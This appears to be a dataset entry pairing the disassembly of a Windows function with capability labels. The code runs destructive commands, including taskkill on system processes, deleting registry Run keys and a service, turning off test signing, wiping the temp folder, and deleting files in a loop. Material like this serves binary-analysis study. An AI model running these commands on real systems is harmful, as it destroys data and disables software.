Function at 0x140003230
Capabilities:
Accept command line arguments
Create process on windows
Delete file
Get common file path
Move file
Open clipboard
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 0x20], r12
push rbp
push r13
push r14
lea rbp, [rsp - 0x1180]
mov eax, 0x1280
call fcn.1400055a0
sub rsp, rax
mov rax, qword [0x14001a0c0]
xor rax, rsp
mov qword [rbp + 0x1170], rax
xor edx, edx
lea r9, str.NitrGB
xor ecx, ecx
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor edx, edx
lea r9, str.GlobalNitrGB
lea r8d, [rdx + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
call qword [sym.imp.USER32.dll_EmptyClipboard]
call qword [sym.imp.USER32.dll_EmptyClipboard]
call qword [sym.imp.USER32.dll_CloseClipboard]
call qword [sym.imp.USER32.dll_GetInputState]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PostThreadMessageW]
lea rcx, [rsp + 0x20]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
lea rcx, [rbp + 0xf2]
xor r13d, r13d
xor edx, edx
mov r8d, SetErrorInfo
mov word [rbp + 0xf0], r13w
call fcn.1400051e0
call fcn.140002f50
lea r14, str.___xyz___
lea r12, [0x140000000]
mov ecx, r13d
test al, al
je 0x140003330
nop dword [rax]
movzx eax, word [rcx + r14]
add rcx, 2
mov word [rbp + rcx + 0xee], ax
test ax, ax
jne 0x140003310
jmp 0x14000334a
movzx eax, word [rcx + r12 + 0x13dc8]
add rcx, 2
mov word [rbp + rcx + 0xee], ax
test ax, ax
jne 0x140003330
lea r8, [rbp + 0xf0]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
test rax, rax
jne 0x140003988
mov qword [rsp + 0x12a0], rbx
lea r8, [rbp + 0xf0]
lea edx, [rax + 1]
xor ecx, ecx
mov qword [rsp + 0x12a8], rsi
mov qword [rsp + 0x12b0], rdi
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
lea rcx, [rbp + 0x552]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x550], r13w
call fcn.1400051e0
lea rdx, [rbp + 0x550]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, str.mmc.exe
lea rcx, [rbp + 0x550]
call fcn.140005490
test rax, rax
jne 0x14000343e
mov eax, dword [0x140013dc0]
movups xmm0, xmmword [str.CMD__C_RD__TEMP___S_Q__MKDIR__TEMP_]
movups xmm1, xmmword [0x140013db0]
mov dword [rsp + 0x70], eax
movzx eax, byte [0x140013dc4]
lea rcx, [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x60], xmm1
mov byte [rsp + 0x74], al
xor eax, eax
xor edx, edx
mov qword [rsp + 0x75], rax
mov qword [rsp + 0x7d], rax
mov qword [rbp - 0x7b], rax
mov qword [rbp - 0x73], rax
mov qword [rbp - 0x6b], rax
mov qword [rbp - 0x63], rax
mov qword [rbp - 0x5b], rax
mov dword [rbp - 0x53], eax
mov word [rbp - 0x4f], ax
mov byte [rbp - 0x4d], al
call qword [sym.imp.KERNEL32.dll_WinExec]
call fcn.140002db0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, str.__zxcv
mov rcx, rax
call fcn.140005490
test rax, rax
je 0x140003499
lea rcx, str.taskkill__f__im_runonce.exe
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.taskkill__f__im_runonce.exe
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.taskkill__f__im_cmd.exe
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.taskkill__f__im_cmd.exe
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov esi, 0xa
mov edi, esi
call fcn.140002d00
call fcn.140002bb0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
dec rdi
jne 0x1400034a0
nop word [rax + rax]
lea rcx, str.AfxMDIFrame42
xor edx, edx
call qword [sym.imp.USER32.dll_FindWindowW]
lea rdx, str.1___My11
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.USER32.dll_FindWindowW]
mov rdi, rax
test rbx, rbx
je 0x140003503
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
lea edx, [r9 + 0x12]
call qword [sym.imp.USER32.dll_PostMessageW]
mov byte [0x14001b730], 1
test rdi, rdi
je 0x140003522
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
lea edx, [r9 + 0x12]
call qword [sym.imp.USER32.dll_PostMessageW]
mov byte [0x14001b730], 1
test rbx, rbx
je 0x14000353a
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
lea edx, [r9 + 0x10]
call qword [sym.imp.USER32.dll_PostMessageW]
test rdi, rdi
je 0x140003552
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
lea edx, [r9 + 0x10]
call qword [sym.imp.USER32.dll_PostMessageW]
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
lea edx, [r9 + 0x10]
call qword [sym.imp.USER32.dll_SendMessageW]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x12]
mov rcx, rbx
call qword [sym.imp.USER32.dll_SendMessageW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
dec rsi
jne 0x1400034c0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, str.__zxcv
mov rcx, rax
call fcn.140005490
test rax, rax
jne 0x1400035be
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x3a980
jbe 0x1400035be
call fcn.140001ec0
call fcn.140002f50
test al, al
jne 0x1400035f8
call fcn.140003000
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, r14
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
test rax, rax
je 0x1400035f8
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [str.reg_delete__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun___f]
movaps xmm1, xmmword [0x140013ce0]
lea rcx, [rbp + 0x470]
xor edx, edx
mov r8d, 0xdc
movaps xmmword [rbp + 0x420], xmm0
movaps xmm0, xmmword [0x140013cf0]
movaps xmmword [rbp + 0x430], xmm1
movaps xmm1, xmmword [0x140013d00]
movaps xmmword [rbp + 0x440], xmm0
movaps xmm0, xmmword [0x140013d10]
movaps xmmword [rbp + 0x460], xmm0
movaps xmmword [rbp + 0x450], xmm1
call fcn.1400051e0
movzx eax, byte [0x140013cc0]
lea rcx, [rbp + 0x341]
movaps xmm0, xmmword [str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun___f]
movaps xmm1, xmmword [0x140013c80]
xor edx, edx
mov r8d, 0xdb
mov byte [rbp + 0x340], al
movaps xmmword [rbp + 0x2f0], xmm0
movaps xmm0, xmmword [0x140013c90]
movaps xmmword [rbp + 0x300], xmm1
movaps xmm1, xmmword [0x140013ca0]
movaps xmmword [rbp + 0x310], xmm0
movaps xmm0, xmmword [0x140013cb0]
movaps xmmword [rbp + 0x330], xmm0
movaps xmmword [rbp + 0x320], xmm1
call fcn.1400051e0
mov eax, dword [0x140013c68]
lea rcx, [rbp + 0x21d]
movaps xmm0, xmmword [str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRun___f]
movaps xmm1, xmmword [0x140013c20]
mov dword [rbp + 0x218], eax
movzx eax, byte [0x140013c6c]
xor edx, edx
movaps xmmword [rbp + 0x1c0], xmm0
movaps xmm0, xmmword [0x140013c30]
movaps xmmword [rbp + 0x1d0], xmm1
mov r8d, 0xcf
mov byte [rbp + 0x21c], al
movaps xmm1, xmmword [0x140013c40]
movaps xmmword [rbp + 0x1e0], xmm0
movaps xmm0, xmmword [0x140013c50]
movaps xmmword [rbp + 0x1f0], xmm1
movaps xmmword [rbp + 0x200], xmm0
movsd xmm1, qword [0x140013c60]
movsd qword [rbp + 0x210], xmm1
call fcn.1400051e0
movaps xmm0, xmmword [str.CMD__C__WINDIR__sysnative_reg_delete__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun___f]
movaps xmm1, xmmword [0x140013bb0]
movzx eax, word [0x140013c08]
lea rcx, [rbp + 0x2b]
xor edx, edx
mov word [rbp + 0x28], ax
movzx eax, byte [0x140013c0a]
mov r8d, 0xc1
movaps xmmword [rbp - 0x40], xmm0
movaps xmm0, xmmword [0x140013bc0]
movaps xmmword [rbp - 0x30], xmm1
mov byte [rbp + 0x2a], al
movaps xmm1, xmmword [0x140013bd0]
movaps xmmword [rbp - 0x20], xmm0
movaps xmm0, xmmword [0x140013be0]
movaps xmmword [rbp - 0x10], xmm1
movaps xmm1, xmmword [0x140013bf0]
movaps xmmword [rbp], xmm0
movsd xmm0, qword [0x140013c00]
movsd qword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x10], xmm1
call fcn.1400051e0
lea rcx, [rbp + 0x420]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp + 0x2f0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp + 0x1c0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp - 0x40]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.sc_delete_syshost32
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.bcdedit__set_TESTSIGNING_OFF
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.taskkill__f__im_msiexec.exe
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
call fcn.140001b70
call fcn.140001d70
lea rcx, [rbp + 0x760]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rcx, [rbp + 0x760]
mov word [rbp + 0x764], r13w
call fcn.140002610
call fcn.1400029b0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x14001bb58], r13d
mov esi, r13d
jle 0x14000394c
nop word [rax + rax]
lea rcx, [rbp + 0x972]
xor edx, edx
mov r8d, 0x7fe
mov word [rbp + 0x970], r13w
call fcn.1400051e0
movsxd rdx, esi
imul rdx, rdx, 0x208
lea rbx, [rdx + r12 + 0x1bc70]
lea rdx, [rbp + 0x970]
sub rdx, rbx
mov rcx, rbx
nop dword [rax + rax]
movzx eax, word [rcx]
add rcx, 2
mov word [rdx + rcx - 2], ax
test ax, ax
jne 0x1400038b0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x970]
repne scasw ax, word [rdi]
mov rax, qword [0x140013b38]
lea rdx, [rbp + 0x970]
mov r8d, 3
mov rcx, rbx
mov qword [rdi - 2], rax
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
lea rcx, [rbp + 0x970]
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov edx, 0x80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp + 0x970]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x970]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
inc esi
cmp esi, dword [0x14001bb58]
jl 0x140003870
mov rsi, qword [rsp + 0x12a8]
mov rbx, qword [rsp + 0x12a0]
mov rdi, qword [rsp + 0x12b0]
mov rcx, qword [rbp + 0x1170]
xor rcx, rsp
call fcn.140004e00
mov r12, qword [rsp + 0x12b8]
add rsp, 0x1280
pop r14
pop r13
pop rbp
ret
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 0xf0]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]